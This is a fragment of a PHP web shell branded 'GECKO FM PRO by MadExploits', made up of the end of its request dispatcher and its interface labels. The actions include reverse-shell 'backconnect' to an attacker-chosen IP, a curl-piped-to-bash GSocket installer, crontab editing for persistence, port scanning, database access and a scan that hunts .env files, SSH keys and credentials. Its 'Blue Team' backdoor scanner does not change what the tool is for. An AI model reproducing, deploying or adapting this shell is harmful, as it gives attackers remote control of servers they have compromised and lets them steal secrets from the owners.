    \’label\’ => $label,
    );
    }
    }

    // Add current document root
    if (@is_dir($baseDir) && $baseDir !== \’/\’) {
    $free = @disk_free_space($baseDir);
    $total = @disk_total_space($baseDir);
    $drives[] = array(
    \’letter\’ => $baseDir,
    \’path\’ => $baseDir,
    \’free\’ => $free ? $free : 0,
    \’total\’ => $total ? $total : 0,
    \’label\’ => \’Document Root: \’ . basename($baseDir),
    );
    }
    }
    jsonOut(array(\’ok\’ => true, \’drives\’ => $drives));
    break;

    case \’info\’:
    jsonOut(array(
    \’ok\’ => true,
    \’php\’ => PHP_VERSION,
    \’os\’ => PHP_OS,
    \’base\’ => $baseDir,
    \’disk_free\’ => @disk_free_space($baseDir),
    \’disk_total\’ => @disk_total_space($baseDir),
    ));
    break;

    case \’cron_list\’:
    $cron = getCrontab();
    jsonOut(array(
    \’ok\’ => true,
    \’content\’ => $cron[\’content\’],
    \’platform\’ => $cron[\’platform\’],
    \’editable\’ => $cron[\’editable\’],
    ));
    break;

    case \’cron_save\’:
    $content = (string)_v($input, \’content\’, \’\’);
    $result = setCrontab($content);
    if (!$result[\’ok\’]) jsonOut($result, 400);
    jsonOut(array(\’ok\’ => true));
    break;

    case \’portscan\’:
    $host = trim((string)_v($input, \’host\’, \’127.0.0.1\’));
    $ports = trim((string)_v($input, \’ports\’, \’21,22,25,80,443,3306,8080\’));
    $timeout = (int)_v($input, \’timeout\’, 1);
    $result = scanPorts($host, $ports, $timeout);
    if (!$result[\’ok\’]) jsonOut($result, 400);
    jsonOut($result);
    break;

    case \’backconnect\’:
    $ip = trim((string)_v($input, \’ip\’, \’\’));
    $port = (int)_v($input, \’port\’, 4444);
    $method = (string)_v($input, \’method\’, \’bash\’);
    $result = startBackconnect($ip, $port, $method);
    if (!$result[\’ok\’]) jsonOut($result, 400);
    jsonOut($result);
    break;

    case \’gsocket\’:
    @set_time_limit(1800);
    @ini_set(\’max_execution_time\’, \’1800\’);
    $method = (string)_v($input, \’method\’, \’curl\’);
    $result = runGsocket($method);
    if (!$result[\’ok\’]) jsonOut($result, 400);
    jsonOut($result);
    break;

    case \’db_tables\’:
    $result = dbListTables(
    (string)_v($input, \’type\’, \’mysql\’),
    (string)_v($input, \’host\’, \’127.0.0.1\’),
    (int)_v($input, \’port\’, 3306),
    (string)_v($input, \’user\’, \’root\’),
    (string)_v($input, \’pass\’, \’\’),
    (string)_v($input, \’db\’, \’\’)
    );
    if (!$result[\’ok\’]) jsonOut($result, 400);
    jsonOut($result);
    break;

    case \’db_query\’:
    $result = dbRunQuery(
    (string)_v($input, \’type\’, \’mysql\’),
    (string)_v($input, \’host\’, \’127.0.0.1\’),
    (int)_v($input, \’port\’, 3306),
    (string)_v($input, \’user\’, \’root\’),
    (string)_v($input, \’pass\’, \’\’),
    (string)_v($input, \’db\’, \’\’),
    (string)_v($input, \’sql\’, \’\’)
    );
    if (!$result[\’ok\’]) jsonOut($result, 400);
    jsonOut($result);
    break;

    case \’sec_tool\’:
    @set_time_limit(120);
    $tool = (string)_v($input, \’tool\’, \’recon\’);
    $result = runSecTool($tool, $input, $baseDir);
    if (!$result[\’ok\’]) jsonOut($result, 400);
    jsonOut($result);
    break;

    case \’blue_tool\’:
    @set_time_limit(600);
    @ini_set(\’max_execution_time\’, \’600\’);
    $tool = (string)_v($input, \’tool\’, \’backdoor\’);
    $result = runBlueTool($tool, $input, $baseDir);
    if (!$result[\’ok\’]) jsonOut($result, 400);
    jsonOut($result);
    break;

    case \’blue_delete\’:
    $paths = _v($input, \’paths\’, array());
    if (is_string($paths)) {
    $decoded = json_decode($paths, true);
    $paths = is_array($decoded) ? $decoded : array($paths);
    }
    $result = btDeleteThreats($baseDir, $paths);
    if (!$result[\’ok\’]) jsonOut($result, 400);
    jsonOut($result);
    break;

    case \’blue_quarantine_list\’:
    $result = btListQuarantine($baseDir);
    jsonOut($result);
    break;

    case \’blue_restore\’:
    $ids = _v($input, \’ids\’, array());
    if (is_string($ids)) {
    $decoded = json_decode($ids, true);
    $ids = is_array($decoded) ? $decoded : array($ids);
    }
    $result = btRestoreThreats($baseDir, $ids);
    if (!$result[\’ok\’]) jsonOut($result, 400);
    jsonOut($result);
    break;

    default:
    jsonOut(array(\’ok\’ => false, \’error\’ => \’Unknown action\’), 400);
    }
    exit;
    }

    ?>






    Gecko · <?= $_SERVER[\'SERVER_NAME\'] ?>


    GECKO FM PRO
    by MadExploits


    CtrlK




    Loading workspace…

    Fetching your files

    —
    —
    —
    —

    New File

    Rename

    Permissions (Chmod)


    Delete

    Upload Files

    Drag & drop files here or click to browse

    Uploads to current folder

    Max file size:

    Edit File


    
    



    Preview


    \"\"

    Loading…

    Terminal

    root


    Gecko Shell
    ~

    0cmds

    gecko@shell:~
    ❯

    ↑↓history
    ⏎run

    ⏰ Cron Manager

    Loading crontab…



    🔗 Backconnect


    Start listener first: nc -lvnp PORT or rlwrap nc -lvnp PORT

    Ready — connection runs in background.


    ⚡ GSocket


    GS_NOCERTCHECK=1 bash -c \”$(curl -fsSLk https://gsocket.io/y)\”

    Installer dari gsocket.io/y. Jika GSRN firewalled, otomatis retry GS_PORT=22 s/d 67.

    Klik Run untuk mengeksekusi installer GSocket.

    —


    🌐 Port Scanner

    Enter target and click Scan.


    🗄️ Adminer (DB Manager)



    Built-in PDO query runner

    🛡️ Cyber Security Hub











    System info, user/privilege, PHP security restrictions, kernel & env.

    Hunts .env, wp-config, SSH keys, .git/config, SQL dumps, credentials…

    Click Scan to search.

    ps aux / tasklist output.

    Listening ports, connections, interfaces.


    HTTP client for SSRF/recon testing.


    Hash output.


    Encoded/decoded output.


    DNS records.

    Privilege escalation recon — setuid binaries, setgid, Linux capabilities.

    Linux only.

    Cyber Security toolkit

    🔵 Blue Team Hub










    Scoring: CRITICAL ≥50 · HIGH ≥30 · MEDIUM ≥15 · LOW ≥6 (aggressive). Review before quarantine — false positives possible on legit apps.

    Ready to scan.
    0 threats




    📦 Quarantine (tmp)


    Removed files are moved to system tmp — restore anytime.

    No quarantined files.

    Runs: backdoor scan, recent changes, writable files, hidden scripts, cron audit, IOC hunt, suspicious processes, log audit.

    Comprehensive blue team assessment (may take several minutes).

    Recently modified PHP/JS/.htaccess files.

    World-writable files & directories (777 / o+w).

    Dot-files: .htaccess, .user.ini, hidden PHP shells.

    Detects persistence: curl|sh, /dev/tcp, reverse shells, base64 decode…

    Failed auth, sudo usage, suspicious web server errors.

    Known malicious filenames: c99, r57, wso, b374k, alfa…

    nc, /dev/tcp, reverse shells, miners, scanners.

    Blue Team defensive toolkit

    📦 Move to Quarantine

    Files dipindah ke folder tmp (bukan dihapus permanen). Bisa di-restore kapan saja dari section Quarantine di bawah.


    0
    selected